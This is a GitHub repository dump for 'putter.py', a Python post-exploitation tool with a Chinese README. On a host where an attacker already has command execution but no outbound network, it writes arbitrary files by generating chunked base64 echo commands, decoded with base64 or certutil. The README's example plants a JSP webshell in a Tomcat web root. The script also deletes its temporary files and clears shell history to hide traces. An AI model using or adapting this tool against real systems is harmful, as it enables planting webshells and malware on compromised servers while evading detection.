├── README.md ├── assets ├── image-20230909144902111.png ├── image-20230909144936953.png ├── image-20230909145025720.png └── image-20230909145059373.png └── putter.py /README.md: -------------------------------------------------------------------------------- 1 | # putter.py 2 | 3 | [TOC] 4 | 5 | ## 简介 6 | 7 | 可用于解决部分不出网但可以命令执行的环境,可以通过命令执行写入任意文件。 8 | 9 | 使用前确保linux下有base64命令,以及windows下有certutil命令,不过大部分系统都会自带这些命令 10 | 11 | 12 | 13 | ## 使用方法 14 | 15 | **linux下**:将1.elf文件上传到/tmp/目录下 16 | 17 | ``` 18 | python3 putter.py -f 1.elf -p '/tmp/' 19 | ``` 20 | 21 | 22 | 23 | 实战案例: 24 | 25 | **windows下:** 26 | 27 | 把loginx.jsp webshell上传到`C:\\apache-tomcat-8.0.23\\webapps\\ROOT`目录下,生成命令到cmd.txt 28 | 29 | ``` 30 | python3 putter.py -f loginx.jsp -p 'C:\\apache-tomcat-8.0.23\\webapps\\ROOT' -o win 31 | ``` 32 | 33 | 34 | 35 | ![image-20230909144902111](./assets/image-20230909144902111.png) 36 | 37 | 38 | 39 | ![image-20230909144936953](./assets/image-20230909144936953.png) 40 | 41 | 42 | 43 | 44 | 45 | ![image-20230909145025720](./assets/image-20230909145025720.png) 46 | 47 | 48 | 49 | 50 | 51 | ![image-20230909145059373](./assets/image-20230909145059373.png) 52 | 53 | -------------------------------------------------------------------------------- /assets/image-20230909144902111.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ar3h/putter/9a23b68be24ce4e0d054a74aac1e56b31a2070c8/assets/image-20230909144902111.png -------------------------------------------------------------------------------- /assets/image-20230909144936953.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ar3h/putter/9a23b68be24ce4e0d054a74aac1e56b31a2070c8/assets/image-20230909144936953.png -------------------------------------------------------------------------------- /assets/image-20230909145025720.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ar3h/putter/9a23b68be24ce4e0d054a74aac1e56b31a2070c8/assets/image-20230909145025720.png -------------------------------------------------------------------------------- /assets/image-20230909145059373.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Ar3h/putter/9a23b68be24ce4e0d054a74aac1e56b31a2070c8/assets/image-20230909145059373.png -------------------------------------------------------------------------------- /putter.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # coding=utf-8 3 | # Time : 2021/2/8 4:02 PM 4 | 5 | import threading 6 | import time 7 | from socket import * 8 | import base64 9 | import logging 10 | import argparse 11 | import sys 12 | from string import Template 13 | import hashlib 14 | 15 | ''' 16 | shell 最大输入长度 17 | linux: 4096 18 | win: 8191 19 | ''' 20 | 21 | 22 | class ShellHandler: 23 | 24 | def __init__(self, filename): 25 | self.filename = filename 26 | self.os = args.os 27 | self.size = args.size 28 | self.path = args.path 29 | self.saveFile = "cmd.txt" 30 | self.pre() 31 | self.run() 32 | 33 | # 返回 windows路径中的符号 34 | def get_split(self): 35 | if "\\\\\\\\" in self.path: 36 | return "\\\\\\\\" 37 | elif "\\\\" in self.path: 38 | return "\\\\" 39 | elif "\\" in self.path: 40 | return "\\" 41 | elif "/" in self.path: 42 | return "/" 43 | return "\\" 44 | 45 | def pre(self): 46 | if self.os == "linux" and self.path: 47 | if not self.path.endswith("/"): # linux默认为/符号 48 | self.path += "/" 49 | elif self.os == "win" and self.path: 50 | win_split = self.get_split() # windows需要识别一下为 \\、\、/ 是哪种符号 51 | if not self.path.endswith(win_split): # 添加/符号 52 | self.path += win_split 53 | 54 | if self.os == "linux": 55 | # self.current_prepare_template = Template("set +o history") 56 | self.current_prepare_template = Template("") 57 | self.current_create_template = Template("echo -n '' > $tmpfile_path") 58 | self.current_cmd_template = Template("echo -n '$text' >> $tmpfile_path") 59 | self.current_b642bin_template = Template("cat $tmpfile_path | base64 -d > $file_path") 60 | self.current_delete_template = Template("rm -f $tmpfile_path") 61 | self.current_md5_template = Template("md5sum $file_path") 62 | self.current_post_template = Template("history -r") 63 | 64 | elif self.os == "win": 65 | self.current_prepare_template = Template("") 66 | self.current_create_template = Template("echo > \"$tmpfile_path\"") # 引号内可以出现带空格的目录 67 | self.current_cmd_template = Template("echo $text > \"$tmpfile_path\"") 68 | self.current_b642bin_template = Template("certutil -f -decode \"$tmpfile_path\" \"$file_path\"") 69 | self.current_delete_template = Template("del \"$tmpfile_path\"") 70 | self.current_md5_template = Template("CertUtil -hashfile \"$file_path\" md5") 71 | self.current_post_template = Template("") 72 | '''del C:/Users/xxx/Desktop/README.md 会报错,需要反斜杠 73 | ''' 74 | with open(self.saveFile, "w"): pass 75 | 76 | def run(self): 77 | self.main() 78 | 79 | def readfile(self, file) -> str: 80 | with open(file, "rb") as f: 81 | file = f.read() 82 | self.md5_str = hashlib.md5(file).hexdigest() 83 | return base64.b64encode(file).decode() 84 | 85 | def main(self): 86 | file_path = self.path + filename 87 | tmpfile_path = self.path + filename + ".tmp" 88 | file_b64 = self.readfile(f"{filePath}") 89 | file_Byte = len(file_b64) 90 | 91 | # 输出文件大小 92 | file_size = len(file_b64) / 1024 93 | if file_size > 1024.0: 94 | file_size /= 1024.0 95 | logging.info(f"{filename} size: {str(file_size)} Mb") 96 | else: 97 | logging.info(f"{filename} size: {str(file_size)} Kb") 98 | 99 | if self.os == "linux": 100 | # 创建空临时文件 101 | logging.info(f"Create temp file '{tmpfile_path}' ") 102 | cmd_create = self.current_create_template.substitute(tmpfile_path=tmpfile_path) 103 | logging.debug("\033[36m" + cmd_create + "\033[0m") 104 | self.send_cmd(cmd_create) 105 | 106 | # 发送文件 107 | logging.info(f"File name: '{filename}'") 108 | str_len = self.size # 每次发送的字节数 109 | for i,j in zip(range(0, file_Byte, str_len), range(999999)): 110 | step = int((i / file_Byte) * 100) 111 | if logging.getLogger().getEffectiveLevel() == logging.DEBUG: 112 | print('\r[%3d%%] ' % step, end='', flush=True) 113 | 114 | file_seg = str(file_b64[i:i + str_len]) 115 | echoFile = self.path + str(j).zfill(5) + ".tmpvc" 116 | cmd = self.current_cmd_template.substitute(tmpfile_path=echoFile, text=file_seg) 117 | logging.debug("\033[36m" + cmd + "\033[0m") 118 | self.send_cmd(cmd) 119 | else: 120 | if logging.getLogger().getEffectiveLevel() == logging.DEBUG: 121 | print('\r[100%] ', flush=True) 122 | logging.info(f"End send '{filename}'") 123 | 124 | if self.os == "win": # 分块写入文件 125 | if self.path != None: 126 | result = self.send_cmd(f"type \"{self.path}*.tmpvc\" > \"{tmpfile_path}\"", echo=True) 127 | else: 128 | result = self.send_cmd(f"type *.tmpvc > \"{tmpfile_path}\"", echo=True) 129 | 130 | # base64转二进制文件 131 | logging.info("Base64 convert to bin") 132 | cmd_b642bin = self.current_b642bin_template.substitute(tmpfile_path=tmpfile_path, file_path=file_path) 133 | logging.debug("\033[36m" + cmd_b642bin + "\033[0m") 134 | self.send_cmd(cmd_b642bin) 135 | # time.sleep(1) 136 | 137 | # 删除临时文件xxx.tmp 138 | logging.info(f"Delete temp file {tmpfile_path}") 139 | cmd_del = self.current_delete_template.substitute(tmpfile_path=tmpfile_path) 140 | self.send_cmd(cmd_del) 141 | if self.os == "win": 142 | if self.path != None: 143 | logging.debug("\033[36m" + f"del {self.path}*.tmpvc" + "\033[0m") 144 | self.send_cmd(f"del {self.path}*.tmpvc") 145 | else: 146 | logging.debug("\033[36m" + "del *.tmpvc" + "\033[0m") 147 | self.send_cmd(f"del *.tmpvc") 148 | elif self.os == "linux": 149 | logging.debug("\033[36m" + f"rm -f {self.path}*.tmpvc" + "\033[0m") 150 | self.send_cmd(f"rm -f {self.path}*.tmpvc") 151 | 152 | logging.debug("\033[36m" + cmd_del + "\033[0m") 153 | 154 | # 检查md5,linux自动检查,win需要自行检查 155 | logging.info(f"Md5 for local file '{filename}' : \033[35m{self.md5_str}\033[0m") 156 | cmd_md5 = self.current_md5_template.substitute(file_path=file_path) 157 | if self.os == "linux": 158 | logging.debug("\033[36m" + cmd_md5 + "\033[0m") 159 | result = self.send_cmd(cmd_md5, echo=True) 160 | logging.info(f"Md5 for server file '{file_path}' : \033[32m{result}\033[0m") 161 | elif self.os == "win": 162 | logging.info(f"You can run cmd to check md5 : \033[32m{cmd_md5}\033[0m ") 163 | 164 | # linux 清理痕迹 165 | if self.os == "linux": 166 | logging.info("Clear current history") 167 | cmd_post = self.current_post_template.substitute() 168 | logging.debug("\033[36m" + cmd_post + "\033[0m") 169 | self.send_cmd(cmd_post) 170 | logging.info(f"save to \033[32m cmd.txt \033[0m ") 171 | 172 | def send_cmd(self, cmd, echo=False): 173 | with open(self.saveFile, "a") as f: 174 | f.write(cmd + "\n") 175 | return 176 | 177 | 178 | def parse_args(): 179 | parser = argparse.ArgumentParser( 180 | epilog=f"example: " 181 | f"linux - python3 {sys.argv[0]} -f shell.jsp -p /root/tomcat/webapps/ROOT/\n" 182 | f"win - python3 {sys.argv[0]} -f 1.exe -p C:\\Users\\Public\n") 183 | parser.add_argument("-f", "--file", help="Need to read file", type=str, required=True) 184 | parser.add_argument("-o", "--os", choices=["win", "linux"], help="Target shell operate system. Default: linux", 185 | default="linux") 186 | parser.add_argument("-v", "--verbose", help="Increase output verbosity.", default=False, action='store_true') 187 | parser.add_argument("-s", "--size", type=int, 188 | help="Every size of command. Default: 1000 Byte. Suggest between 100 and 4000", default=1000) 189 | parser.add_argument("-p", "--path", 190 | help="Write to file path. Waring: windows path param like this: -p \"C:\\\\Users\\\\Administrator\\\\Desktop\"", 191 | type=str, default="/tmp/") 192 | return parser.parse_args() 193 | 194 | 195 | if __name__ == '__main__': 196 | args = parse_args() 197 | filename = args.file.split("/")[-1] 198 | if args.verbose: 199 | logging.basicConfig(level=logging.DEBUG, format='[%(asctime)s] [%(levelname)s] %(message)s', datefmt="%H:%M:%S") 200 | else: 201 | logging.basicConfig(level=logging.INFO, format='[%(asctime)s] [%(levelname)s] %(message)s', datefmt="%H:%M:%S") 202 | filePath = args.file 203 | ShellHandler(filename) 204 | --------------------------------------------------------------------------------